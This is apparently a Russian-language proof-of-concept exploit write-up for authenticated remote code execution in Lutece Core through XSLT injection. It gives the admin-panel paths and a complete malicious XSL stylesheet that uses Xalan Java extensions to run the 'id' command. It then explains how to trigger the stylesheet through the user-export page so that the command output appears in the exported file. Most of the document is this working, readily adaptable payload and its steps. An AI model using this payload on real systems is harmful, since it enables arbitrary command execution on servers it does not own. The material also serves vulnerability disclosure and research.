
Эксплойт для проверки концепции удалённого выполнения кода с аутентификацией через XSLT-инъекцию в Lutece Core, демонстрирующий выполнение команд с помощью специально созданных XSL-таблиц стилей.
Пояснения и подробнее на моём сайте <
Вам понадобится учётная запись с правами администратора.
На панели администратора перейдите на страницу управления XSL-экспортом:
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport
Нажмите «Добавить новый лист преобразования».
Загрузите файл .xsl с полезной нагрузкой (простая команда id):
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
Сохраните новый XSL-лист.
Перейдите на страницу экспорта пользователей:
/jsp/admin/user/ExportUsers.jsp
Выберите лист преобразования, который мы только что создали, и подтвердите.
Результат выполнения команды id должен появиться в экспортированном файле.